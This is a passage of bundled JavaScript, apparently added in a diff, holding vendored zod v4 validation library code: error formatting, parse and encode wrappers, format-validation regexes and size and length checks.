(x.issues[i]?.continue === false) { + return true; + } + } + return false; +} +function prefixIssues(path, issues) { + return issues.map((iss) => { + var _a3; + (_a3 = iss).path ?? (_a3.path = []); + iss.path.unshift(path); + return iss; + }); +} +function unwrapMessage(message2) { + return typeof message2 === "string" ? message2 : message2?.message; +} +function finalizeIssue(iss, ctx, config2) { + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; + rest.path ?? (rest.path = []); + rest.message = message2; + if (ctx?.reportInput) { + rest.input = _input; + } + return rest; +} +function getSizableOrigin(input) { + if (input instanceof Set) + return "set"; + if (input instanceof Map) + return "map"; + if (input instanceof File) + return "file"; + return "unknown"; +} +function getLengthableOrigin(input) { + if (Array.isArray(input)) + return "array"; + if (typeof input === "string") + return "string"; + return "unknown"; +} +function parsedType(data) { + const t = typeof data; + switch (t) { + case "number": { + return Number.isNaN(data) ? "nan" : "number"; + } + case "object": { + if (data === null) { + return "null"; + } + if (Array.isArray(data)) { + return "array"; + } + const obj = data; + if (obj && Object.getPrototypeOf(obj) !== Object.prototype && "constructor" in obj && obj.constructor) { + return obj.constructor.name; + } + } + } + return t; +} +function issue(...args) { + const [iss, input, inst] = args; + if (typeof iss === "string") { + return { + message: iss, + code: "custom", + input, + inst + }; + } + return { ...iss }; +} +function cleanEnum(obj) { + return Object.entries(obj).filter(([k, _]) => { + return Number.isNaN(Number.parseInt(k, 10)); + }).map((el) => el[1]); +} +function base64ToUint8Array(base643) { + const binaryString = atob(base643); + const bytes = new Uint8Array(binaryString.length); + for (let i = 0; i < binaryString.length; i++) { + bytes[i] = binaryString.charCodeAt(i); + } + return bytes; +} +function uint8ArrayToBase64(bytes) { + let binaryString = ""; + for (let i = 0; i < bytes.length; i++) { + binaryString += String.fromCharCode(bytes[i]); + } + return btoa(binaryString); +} +function base64urlToUint8Array(base64url3) { + const base643 = base64url3.replace(/-/g, "+").replace(/_/g, "/"); + const padding = "=".repeat((4 - base643.length % 4) % 4); + return base64ToUint8Array(base643 + padding); +} +function uint8ArrayToBase64url(bytes) { + return uint8ArrayToBase64(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); +} +function hexToUint8Array(hex3) { + const cleanHex = hex3.replace(/^0x/, ""); + if (cleanHex.length % 2 !== 0) { + throw new Error("Invalid hex string length"); + } + const bytes = new Uint8Array(cleanHex.length / 2); + for (let i = 0; i < cleanHex.length; i += 2) { + bytes[i / 2] = Number.parseInt(cleanHex.slice(i, i + 2), 16); + } + return bytes; +} +function uint8ArrayToHex(bytes) { + return Array.from(bytes).map((b2) => b2.toString(16).padStart(2, "0")).join(""); +} +var Class = class { + constructor(..._args) { + } +}; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js +var initializer = (inst, def) => { + inst.name = "$ZodError"; + Object.defineProperty(inst, "_zod", { + value: inst._zod, + enumerable: false + }); + Object.defineProperty(inst, "issues", { + value: def, + enumerable: false + }); + inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); + Object.defineProperty(inst, "toString", { + value: () => inst.message, + enumerable: false + }); +}; +var $ZodError = $constructor("$ZodError", initializer); +var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); +function flattenError(error51, mapper = (issue2) => issue2.message) { + const fieldErrors = {}; + const formErrors = []; + for (const sub of error51.issues) { + if (sub.path.length > 0) { + fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; + fieldErrors[sub.path[0]].push(mapper(sub)); + } else { + formErrors.push(mapper(sub)); + } + } + return { formErrors, fieldErrors }; +} +function formatError(error51, mapper = (issue2) => issue2.message) { + const fieldErrors = { _errors: [] }; + const processError = (error52, path = []) => { + for (const issue2 of error52.issues) { + if (issue2.code === "invalid_union" && issue2.errors.length) { + issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); + } else if (issue2.code === "invalid_key") { + processError({ issues: issue2.issues }, [...path, ...issue2.path]); + } else if (issue2.code === "invalid_element") { + processError({ issues: issue2.issues }, [...path, ...issue2.path]); + } else { + const fullpath = [...path, ...issue2.path]; + if (fullpath.length === 0) { + fieldErrors._errors.push(mapper(issue2)); + } else { + let curr = fieldErrors; + let i = 0; + while (i < fullpath.length) { + const el = fullpath[i]; + const terminal = i === fullpath.length - 1; + if (!terminal) { + curr[el] = curr[el] || { _errors: [] }; + } else { + curr[el] = curr[el] || { _errors: [] }; + curr[el]._errors.push(mapper(issue2)); + } + curr = curr[el]; + i++; + } + } + } + } + }; + processError(error51); + return fieldErrors; +} +function treeifyError(error51, mapper = (issue2) => issue2.message) { + const result = { errors: [] }; + const processError = (error52, path = []) => { + var _a3, _b; + for (const issue2 of error52.issues) { + if (issue2.code === "invalid_union" && issue2.errors.length) { + issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); + } else if (issue2.code === "invalid_key") { + processError({ issues: issue2.issues }, [...path, ...issue2.path]); + } else if (issue2.code === "invalid_element") { + processError({ issues: issue2.issues }, [...path, ...issue2.path]); + } else { + const fullpath = [...path, ...issue2.path]; + if (fullpath.length === 0) { + result.errors.push(mapper(issue2)); + continue; + } + let curr = result; + let i = 0; + while (i < fullpath.length) { + const el = fullpath[i]; + const terminal = i === fullpath.length - 1; + if (typeof el === "string") { + curr.properties ?? (curr.properties = {}); + (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + curr = curr.properties[el]; + } else { + curr.items ?? (curr.items = []); + (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + curr = curr.items[el]; + } + if (terminal) { + curr.errors.push(mapper(issue2)); + } + i++; + } + } + } + }; + processError(error51); + return result; +} +function toDotPath(_path) { + const segs = []; + const path = _path.map((seg) => typeof seg === "object" ? seg.key : seg); + for (const seg of path) { + if (typeof seg === "number") + segs.push(`[${seg}]`); + else if (typeof seg === "symbol") + segs.push(`[${JSON.stringify(String(seg))}]`); + else if (/[^\w$]/.test(seg)) + segs.push(`[${JSON.stringify(seg)}]`); + else { + if (segs.length) + segs.push("."); + segs.push(seg); + } + } + return segs.join(""); +} +function prettifyError(error51) { + const lines = []; + const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + for (const issue2 of issues) { + lines.push(`\u2716 ${issue2.message}`); + if (issue2.path?.length) + lines.push(` \u2192 at ${toDotPath(issue2.path)}`); + } + return lines.join("\n"); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js +var _parse = (_Err) => (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee); + throw e; + } + return result.value; +}; +var parse = /* @__PURE__ */ _parse($ZodRealError); +var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee); + throw e; + } + return result.value; +}; +var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); +var _safeParse = (_Err) => (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length ? { + success: false, + error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) + } : { success: true, data: result.value }; +}; +var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length ? { + success: false, + error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) + } : { success: true, data: result.value }; +}; +var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); +var _encode = (_Err) => (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return _parse(_Err)(schema, value, ctx); +}; +var encode2 = /* @__PURE__ */ _encode($ZodRealError); +var _decode = (_Err) => (schema, value, _ctx) => { + return _parse(_Err)(schema, value, _ctx); +}; +var decode2 = /* @__PURE__ */ _decode($ZodRealError); +var _encodeAsync = (_Err) => async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return _parseAsync(_Err)(schema, value, ctx); +}; +var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); +var _decodeAsync = (_Err) => async (schema, value, _ctx) => { + return _parseAsync(_Err)(schema, value, _ctx); +}; +var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); +var _safeEncode = (_Err) => (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return _safeParse(_Err)(schema, value, ctx); +}; +var safeEncode = /* @__PURE__ */ _safeEncode($ZodRealError); +var _safeDecode = (_Err) => (schema, value, _ctx) => { + return _safeParse(_Err)(schema, value, _ctx); +}; +var safeDecode = /* @__PURE__ */ _safeDecode($ZodRealError); +var _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return _safeParseAsync(_Err)(schema, value, ctx); +}; +var safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync($ZodRealError); +var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { + return _safeParseAsync(_Err)(schema, value, _ctx); +}; +var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +var regexes_exports = {}; +__export(regexes_exports, { + base64: () => base64, + base64url: () => base64url, + bigint: () => bigint, + boolean: () => boolean, + browserEmail: () => browserEmail, + cidrv4: () => cidrv4, + cidrv6: () => cidrv6, + cuid: () => cuid, + cuid2: () => cuid2, + date: () => date, + datetime: () => datetime, + domain: () => domain, + duration: () => duration, + e164: () => e164, + email: () => email, + emoji: () => emoji, + extendedDuration: () => extendedDuration, + guid: () => guid, + hex: () => hex, + hostname: () => hostname, + html5Email: () => html5Email, + httpProtocol: () => httpProtocol, + idnEmail: () => idnEmail, + integer: () => integer, + ipv4: () => ipv4, + ipv6: () => ipv6, + ksuid: () => ksuid, + lowercase: () => lowercase, + mac: () => mac, + md5_base64: () => md5_base64, + md5_base64url: () => md5_base64url, + md5_hex: () => md5_hex, + nanoid: () => nanoid, + null: () => _null, + number: () => number, + rfc5322Email: () => rfc5322Email, + sha1_base64: () => sha1_base64, + sha1_base64url: () => sha1_base64url, + sha1_hex: () => sha1_hex, + sha256_base64: () => sha256_base64, + sha256_base64url: () => sha256_base64url, + sha256_hex: () => sha256_hex, + sha384_base64: () => sha384_base64, + sha384_base64url: () => sha384_base64url, + sha384_hex: () => sha384_hex, + sha512_base64: () => sha512_base64, + sha512_base64url: () => sha512_base64url, + sha512_hex: () => sha512_hex, + string: () => string, + time: () => time, + ulid: () => ulid, + undefined: () => _undefined, + unicodeEmail: () => unicodeEmail, + uppercase: () => uppercase, + uuid: () => uuid, + uuid4: () => uuid4, + uuid6: () => uuid6, + uuid7: () => uuid7, + xid: () => xid +}); +var cuid = /^[cC][0-9a-z]{6,}$/; +var cuid2 = /^[0-9a-z]+$/; +var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var xid = /^[0-9a-vA-V]{20}$/; +var ksuid = /^[A-Za-z0-9]{27}$/; +var nanoid = /^[a-zA-Z0-9_-]{21}$/; +var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; +var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; +var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; +var uuid = (version3) => { + if (!version3) + return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/; + return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version3}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`); +}; +var uuid4 = /* @__PURE__ */ uuid(4); +var uuid6 = /* @__PURE__ */ uuid(6); +var uuid7 = /* @__PURE__ */ uuid(7); +var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; +var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; +var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; +var idnEmail = unicodeEmail; +var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; +var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +function emoji() { + return new RegExp(_emoji, "u"); +} +var ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/; +var ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/; +var mac = (delimiter) => { + const escapedDelim = escapeRegex(delimiter ?? ":"); + return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); +}; +var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; +var base64url = /^[A-Za-z0-9_-]*$/; +var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; +var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var httpProtocol = /^https?$/; +var e164 = /^\+[1-9]\d{6,14}$/; +var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; +var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function timeSource(args) { + const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + return regex; +} +function time(args) { + return new RegExp(`^${timeSource(args)}$`); +} +function datetime(args) { + const time4 = timeSource({ precision: args.precision }); + const opts = ["Z"]; + if (args.local) + opts.push(""); + if (args.offset) + opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); + const timeRegex = `${time4}(?:${opts.join("|")})`; + return new RegExp(`^${dateSource}T(?:${timeRegex})$`); +} +var string = (params) => { + const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; + return new RegExp(`^${regex}$`); +}; +var bigint = /^-?\d+n?$/; +var integer = /^-?\d+$/; +var number = /^-?\d+(?:\.\d+)?$/; +var boolean = /^(?:true|false)$/i; +var _null = /^null$/i; +var _undefined = /^undefined$/i; +var lowercase = /^[^A-Z]*$/; +var uppercase = /^[^a-z]*$/; +var hex = /^[0-9a-fA-F]*$/; +function fixedBase64(bodyLength, padding) { + return new RegExp(`^[A-Za-z0-9+/]{${bodyLength}}${padding}$`); +} +function fixedBase64url(length) { + return new RegExp(`^[A-Za-z0-9_-]{${length}}$`); +} +var md5_hex = /^[0-9a-fA-F]{32}$/; +var md5_base64 = /* @__PURE__ */ fixedBase64(22, "=="); +var md5_base64url = /* @__PURE__ */ fixedBase64url(22); +var sha1_hex = /^[0-9a-fA-F]{40}$/; +var sha1_base64 = /* @__PURE__ */ fixedBase64(27, "="); +var sha1_base64url = /* @__PURE__ */ fixedBase64url(27); +var sha256_hex = /^[0-9a-fA-F]{64}$/; +var sha256_base64 = /* @__PURE__ */ fixedBase64(43, "="); +var sha256_base64url = /* @__PURE__ */ fixedBase64url(43); +var sha384_hex = /^[0-9a-fA-F]{96}$/; +var sha384_base64 = /* @__PURE__ */ fixedBase64(64, ""); +var sha384_base64url = /* @__PURE__ */ fixedBase64url(64); +var sha512_hex = /^[0-9a-fA-F]{128}$/; +var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); +var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { + var _a3; + inst._zod ?? (inst._zod = {}); + inst._zod.def = def; + (_a3 = inst._zod).onattach ?? (_a3.onattach = []); +}); +var numericOriginMap = { + number: "number", + bigint: "bigint", + object: "date" +}; +var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { + $ZodCheck.init(inst, def); + const origin = numericOriginMap[typeof def.value]; + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; + if (def.value < curr) { + if (def.inclusive) + bag.maximum = def.value; + else + bag.exclusiveMaximum = def.value; + } + }); + inst._zod.check = (payload) => { + if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { + return; + } + payload.issues.push({ + origin, + code: "too_big", + maximum: typeof def.value === "object" ? def.value.getTime() : def.value, + input: payload.value, + inclusive: def.inclusive, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { + $ZodCheck.init(inst, def); + const origin = numericOriginMap[typeof def.value]; + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; + if (def.value > curr) { + if (def.inclusive) + bag.minimum = def.value; + else + bag.exclusiveMinimum = def.value; + } + }); + inst._zod.check = (payload) => { + if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { + return; + } + payload.issues.push({ + origin, + code: "too_small", + minimum: typeof def.value === "object" ? def.value.getTime() : def.value, + input: payload.value, + inclusive: def.inclusive, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { + $ZodCheck.init(inst, def); + inst._zod.onattach.push((inst2) => { + var _a3; + (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); + }); + inst._zod.check = (payload) => { + if (typeof payload.value !== typeof def.value) + throw new Error("Cannot mix number and bigint in multiple_of check."); + const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + if (isMultiple) + return; + payload.issues.push({ + origin: typeof payload.value, + code: "not_multiple_of", + divisor: def.value, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat", (inst, def) => { + $ZodCheck.init(inst, def); + def.format = def.format || "float64"; + const isInt = def.format?.includes("int"); + const origin = isInt ? "int" : "number"; + const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.format = def.format; + bag.minimum = minimum; + bag.maximum = maximum; + if (isInt) + bag.pattern = integer; + }); + inst._zod.check = (payload) => { + const input = payload.value; + if (isInt) { + if (!Number.isInteger(input)) { + payload.issues.push({ + expected: origin, + format: def.format, + code: "invalid_type", + continue: false, + input, + inst + }); + return; + } + if (!Number.isSafeInteger(input)) { + if (input > 0) { + payload.issues.push({ + input, + code: "too_big", + maximum: Number.MAX_SAFE_INTEGER, + note: "Integers must be within the safe integer range.", + inst, + origin, + inclusive: true, + continue: !def.abort + }); + } else { + payload.issues.push({ + input, + code: "too_small", + minimum: Number.MIN_SAFE_INTEGER, + note: "Integers must be within the safe integer range.", + inst, + origin, + inclusive: true, + continue: !def.abort + }); + } + return; + } + } + if (input < minimum) { + payload.issues.push({ + origin: "number", + input, + code: "too_small", + minimum, + inclusive: true, + inst, + continue: !def.abort + }); + } + if (input > maximum) { + payload.issues.push({ + origin: "number", + input, + code: "too_big", + maximum, + inclusive: true, + inst, + continue: !def.abort + }); + } + }; +}); +var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { + $ZodCheck.init(inst, def); + const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.format = def.format; + bag.minimum = minimum; + bag.maximum = maximum; + }); + inst._zod.check = (payload) => { + const input = payload.value; + if (input < minimum) { + payload.issues.push({ + origin: "bigint", + input, + code: "too_small", + minimum, + inclusive: true, + inst, + continue: !def.abort + }); + } + if (input > maximum) { + payload.issues.push({ + origin: "bigint", + input, + code: "too_big", + maximum, + inclusive: true, + inst, + continue: !def.abort + }); + } + }; +}); +var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { + var _a3; + $ZodCheck.init(inst, def); + (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; + }); + inst._zod.onattach.push((inst2) => { + const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; + if (def.maximum < curr) + inst2._zod.bag.maximum = def.maximum; + }); + inst._zod.check = (payload) => { + const input = payload.value; + const size2 = input.size; + if (size2 <= def.maximum) + return; + payload.issues.push({ + origin: getSizableOrigin(input), + code: "too_big", + maximum: def.maximum, + inclusive: true, + input, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { + var _a3; + $ZodCheck.init(inst, def); + (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; + }); + inst._zod.onattach.push((inst2) => { + const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; + if (def.minimum > curr) + inst2._zod.bag.minimum = def.minimum; + }); + inst._zod.check = (payload) => { + const input = payload.value; + const size2 = input.size; + if (size2 >= def.minimum) + return; + payload.issues.push({ + origin: getSizableOrigin(input), + code: "too_small", + minimum: def.minimum, + inclusive: true, + input, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { + var _a3; + $ZodCheck.init(inst, def); + (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; + }); + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.minimum = def.size; + bag.maximum = def.size; + bag.size = def.size; + }); + inst._zod.check = (payload) => { + const input = payload.value; + const size2 = input.size; + if (size2 === def.size) + return; + const tooBig = size2 > def.size; + payload.issues.push({ + origin: getSizableOrigin(input), + ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, + inclusive: true, + exact: true, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { + var _a3; + $ZodCheck.init(inst, def); + (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; + }); + inst._zod.onattach.push((inst2) => { + const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; + if (def.maximum < curr) + inst2._zod.bag.maximum = def.maximum; + }); + inst._zod.check = (payload) => { + const input = payload.value; + const length = input.length; + if (length <= def.maximum) + return; + const origin = getLengthableOrigin(input); + payload.issues.push({ + origin, + code: "too_big", + maximum: def.maximum, + inclusive: true, + input, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { + var _a3; + $ZodCheck.init(inst, def); + (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; + }); + inst._zod.onattach.push((inst2) => { + const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; + if (def.minimum > curr) + inst2._zod.bag.minimum = def.minimum; + }); + inst._zod.check = (payload) => { + const input = payload.value; + const length = input.length; + if (length >= def.minimum) + return; + const origin = getLengthableOrigin(input); + payload.issues.push({ + origin, + code: "too_small", + minimum: def.minimum, + inclusive: true, + input, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { + var _a3; + $ZodCheck.init(inst, def); + (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; + }); + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.minimum = def.length; + bag.maximum = def.length; + bag.length = def.length; + }); + inst._zod.check = (payload) => { + const input = payload.value; + const length = input.length; + if (length === def.length) + return; + const origin = getLengthableOrigin(input); + const tooBig = length > def.length; + payload.issues.push({ + origin, + ...tooBig ? { code: "too_big", maximum: def.length } : { code: "too_small", minimum: def.length }, + inclusive: true, + exact: true, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { + var _a3, _b; + $ZodCheck.init(inst, def); + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.format = def.format; + if (def.pattern) { + bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); + bag.patterns.add(def.pattern); + } + }); + 